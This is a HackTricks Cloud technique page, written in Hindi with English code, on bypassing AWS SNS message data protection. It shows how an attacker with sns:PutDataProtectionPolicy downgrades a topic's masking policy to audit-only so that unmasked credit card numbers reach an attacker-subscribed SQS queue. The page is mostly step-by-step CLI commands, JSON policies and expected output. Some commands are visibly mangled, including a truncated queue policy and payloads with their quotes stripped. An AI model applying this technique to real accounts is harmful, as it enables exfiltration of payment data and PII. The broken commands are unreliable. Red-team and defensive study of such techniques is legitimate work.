AWS - SNS Message Data Protection Bypass via Policy Downgrade
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
यदि आपके पास किसी topic पर sns:PutDataProtectionPolicy की अनुमति है, तो आप इसकी Message Data Protection policy को Deidentify/Deny से Audit-only (या Outbound controls हटाकर) में बदल सकते हैं ताकि संवेदनशील मान (उदा., credit card numbers) बिना संशोधन के आपकी subscription पर भेजे जाएँ।
आवश्यकताएँ
- लक्ष्य topic पर
sns:PutDataProtectionPolicyकॉल करने की permissions (और आमतौर परsns:Subscribeयदि आप डेटा प्राप्त करना चाहते हैं)। - Standard SNS topic (Message Data Protection समर्थित)।
Attack Steps
- Variables
REGION=us-east-1
- एक Standard topic और एक attacker SQS queue बनाएँ, और केवल इस topic को उस queue को भेजने की अनुमति दें
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
- एक data protection policy attach करें जो outbound messages पर credit card numbers को mask करे
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
- attacker queue को subscribe करें और एक test CC नंबर के साथ message publish करें, masking को verify करें
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
अपेक्षित अंश masking (हैश) दिखाता है:
"Message" : "payment:{cc:################}"
- नीति को audit-only में डाउनग्रेड करें (कोई deidentify/deny स्टेटमेंट जो Outbound को प्रभावित करते हैं नहीं)
SNS के लिए, Audit स्टेटमेंट्स को Inbound होना चाहिए। नीति को Audit-only Inbound स्टेटमेंट से बदलने से किसी भी Outbound de-identification को हटा दिया जाता है, इसलिए संदेश बिना बदले subscribers को भेजे जाते हैं।
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
- वही संदेश प्रकाशित करें और सत्यापित करें कि अनमास्क्ड मान डिलीवर हुआ है
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
अपेक्षित अंश cleartext CC दिखाता है:
4539894458086459
प्रभाव
- किसी topic को de-identification/deny से audit-only में स्विच करने (या अन्यथा Outbound controls हटाने) से PII/secrets बिना बदले attacker-controlled subscriptions तक पहुँच जाते हैं, और इससे data exfiltration संभव हो जाती है, जो अन्यथा masked या blocked रहती।
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

